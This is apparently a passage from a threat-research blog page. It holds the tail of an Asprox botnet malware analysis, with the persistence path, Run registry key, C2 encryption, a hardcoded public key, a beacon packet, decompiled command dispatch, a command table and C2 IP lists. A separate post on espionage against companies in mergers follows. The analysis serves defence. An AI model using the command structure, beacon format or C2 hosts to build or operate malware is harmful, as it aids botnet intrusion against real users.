Once the dll is running in memory it then creates a copy of itself in the following location:

%LOCALAPPDATA%/[8 CHARACTERS].EXE

Example filename:

%LOCALAPPDATA%\lwftkkea.exe

It’s important to note that the process will first check itself in the startup registry key, so a compromised endpoint will have the following registry populated with the executable:

HKCU\Software\Microsoft\Windows\CurrentVersion\Run

Exfiltration/Communication

The malware uses various encryption techniques to communicate with the command and control (C2) nodes. The communication uses an RSA (i.e. PROV_RSA_FULL) encrypted SSL session using the Microsoft Base Cryptographic Provider while the payloads themselves are RC4 encrypted. Each sample uses a default hardcoded public key shown below.

Default Public Key

—-BEGIN PUBLIC KEY—-

MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDCUAUdLJ1rmxx+bAndp+Cz6+5I’

Kmgap2hn2df/UiVglAvvg2US9qbk65ixqw3dGN/9O9B30q5RD+xtZ6gl4ChBquqw

jwxzGTVqJeexn5RHjtFR9lmJMYIwzoc/kMG8e6C/GaS2FCgY8oBpcESVyT2woV7U

00SNFZ88nyVv33z9+wIDAQAB

—-END PUBLIC KEY—-

First Communication Packet

Bot ID RC4 Encrypted URL

POST /5DBA62A2529A51B506D197253469FA745E7634B4FC

HTTP/1.1

Accept: */*

Content-Type: application/x-www-form-urlencoded

User-Agent: <host useragent>

Host: <host ip>:443

Content-Length: 319

Cache-Control: no-cache

<knock><id>5DBA62A247BC1F72B98B545736DEA65A</id><group>0206s</group><src>3</src><transport>0</transport><time>1881051166</time><version>1537</version><status>0</status><debug>none<debug></knock>

C2 Commands

In comparison to the campaign at the end of 2013, the current campaign uses one of the newer versions of the Asprox family where threat actors added the command “ear.”

if ( wcsicmp(Str1, L”idl”) )

{

if ( wcsicmp(Str1, L”run”) )

{

if ( wcsicmp(Str1, L”rem”) )

{

if ( wcsicmp(Str1, L”ear”)

{

if ( wcsicmp(Str1, L”rdl”) )

{

if ( wcsicmp(Str1, L”red”) )

{

if ( !wcsicmp(Str1, L”upd”) )

C2 commands Description
idl This commands idles the process to wait for commands
run Download from a partner site and execute from a specified path
rem Remove itself
ear Download another executable and create autorun entry
rdl Download, inject into svchost, and run
upd Download and update
red Modify the registry

C2 Campaign Characteristics

fig13

For the two major malicious email campaign spikes in April and May of 2014, separate sets of C2 nodes were used for each major spike.

April

May-June
94.23.24.58 192.69.192.178
94.23.43.184 213.21.158.141
1.234.53.27 213.251.150.3
84.124.94.52 27.54.87.235
133.242.134.76 61.19.32.24
173.45.78.226 69.64.56.232
37.59.9.98 72.167.15.89
188.93.74.192 84.234.71.214
187.16.250.214 89.22.96.113
85.214.220.78 89.232.63.147
91.121.20.71
91.212.253.253
91.228.77.15

Conclusion

The data reveals that each of the Asprox botnet’s malicious email campaigns changes its method of luring victims and C2 domains, as well as the technical details on monthly intervals. And, with each new improvement, it becomes more difficult for traditional security methods to detect certain types of malware.

Acknowledgements:

Nart Villeneuve, Jessa dela Torre, and David Sancho. Asprox Reborn. Trend Micro. 2013. http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-asprox-reborn.pdf

Mergers and Acquisitions: When Two Companies and APT Groups Come Together

| By | Targeted Attack, Threat Intelligence, Threat Research |
Comments
0

With Apple’s purchase of Beats, Pfizer’s failed bids for AstraZeneca, and financial experts pointing to a rally in the M&A market, the last month was a busy one for mergers and acquisitions. Of course, when we first see headlines of a high profile company’s plans for a merger or acquisition, we rush to think of the strategic and industry implications of such a deal. But underneath the “what ifs” and “visions for the future,” is a darker side of M&A that doesn’t make the headlines: the routineness with which companies are breached and crucial data is stolen when two high-profile organizations look to join together.

Over the last few years, concerns over economic espionage have led to greater scrutiny of mergers and acquisitions involving foreign companies – particularly in industries with sensitive technologies and operations that could pose broader economic and security threats. However, entering into a merger or acquisition with a foreign company is not the only way nation-states conduct economic espionage via cyber means, nor are nation-states the only perpetrators of intellectual property theft.

From our experience responding to these breaches, we’ve seen targeted threat actors actively pursuing companies involved in mergers and acquisitions in two ways:

  • Breaching one of the merging or acquired company’s subsidiaries’ and/or partners’ networks to ultimately gain access to the targeted company’s environment and information
  • Compromising and stealing information from a company involved in business talks with a foreign enterprise in order to provide the other side with an insider advantage in the negotiations

From One Friend to Another: Taking Advantage of Trusted Relationships Between Companies

Some threat groups compromise an organization’s environment and then move laterally over a connected network to a partner or subsidiary, while others rely on social engineering tactics, such as the use of phishing emails that appear to be from employees at the partner company. We have seen China-based threat groups previously compromise targets by taking advantage of trusted relationships and bridged networks between companies. Regardless of their method of entry, these actors are often in search of the same thing: intellectual property and proprietary information that can provide their own constituents with a business advantage, whether through adopting a rival’s technology and products, securing advantageous prices, or any other tactic that could give them a leg up.

We investigated one incident in which two threat groups compromised a company shortly after it acquired a subsidiary. The threat actors used their access to the initial company’s network to move laterally to the subsidiary, which had recently developed a proprietary process for a significant new healthcare product. Once inside the subsidiary’s network, the threat groups stole data that included details on the product’s test results. We believe the threat groups sought to give that data to Chinese state-owned companies in that industry for fast-tracking the development of their own version of the groundbreaking product.

Cheating the System: Insider Advantages in Negotiations

We have also seen threat groups compromising organizations involved in merger or acquisition talks with Chinese entities, likely in an effort to steal data that could give negotiators and decision makers valuable insider information with which to manipulate the outcome of the proposed transaction. Unlike other types of economic espionage operations, the threat groups in this type of scenario are generally not in search of a company’s intellectual property. Instead, these actors look for data such as executive emails, negotiation terms, and business plans and information; all of which could benefit the negotiators by giving them insight into the victim company’s financial situation and negotiation strategy.

During one investigation, we found that a China-based threat group had compromised a company that was in the process of acquiring a Chinese subsidiary – a move that would have significantly increased the victim company’s manufacturing and retail capacity in the Chinese market. The threat actors accessed the email accounts of multiple employees involved in the negotiations in what was likely a search for information pertaining to the proceedings. We believe that the threat group then used the stolen information to inform Chinese decision makers involved in the acquisition process, as the Chinese government terminated the talks shortly after the data theft occurred.

What can we expect?

Companies involved in mergers and acquisitions need to be aware of the risks they face from threat actors intent on conducting economic espionage. Entering into a merger or acquisition with an organization that has unidentified intrusions and unaudited networks places a company at risk of compromise from threat actors who may be waiting to move laterally to the newly integrated target.

Similarly, companies, and the law firms representing them, involved in negotiations with Chinese enterprises face risks from threat groups seeking to provide the Chinese entity with an advantage in negotiations. Compromise and economic espionage can have profound impacts on a company’s finances and reputation at any time, but particularly when they are risking hundreds of millions to billions of dollars on M&A.

In many cases as well, there are broader issues of national security, so it’s imperative that companies seek to recognize and mitigate these risks as part of their M&A processes moving forward. Even governments sometimes attempt to mitigate these risks by conducting national security reviews and occasionally rejecting bids based on their findings.[i] Threat actors from many countries engage in economic espionage, making for a wide and varied threat landscape that cannot be handled by the government alone. For examples of just how diverse and crowded a space the targeted threat landscape is becoming, see our recent blog posts on Molerats, Saffron Rose, and Russia and Ukraine.

[i] “The Committee on Foreign Investment in the United States (CFIUS).” U.S. Department of the Treasury. 20 Dec. 2012. Web. 28 May 2014.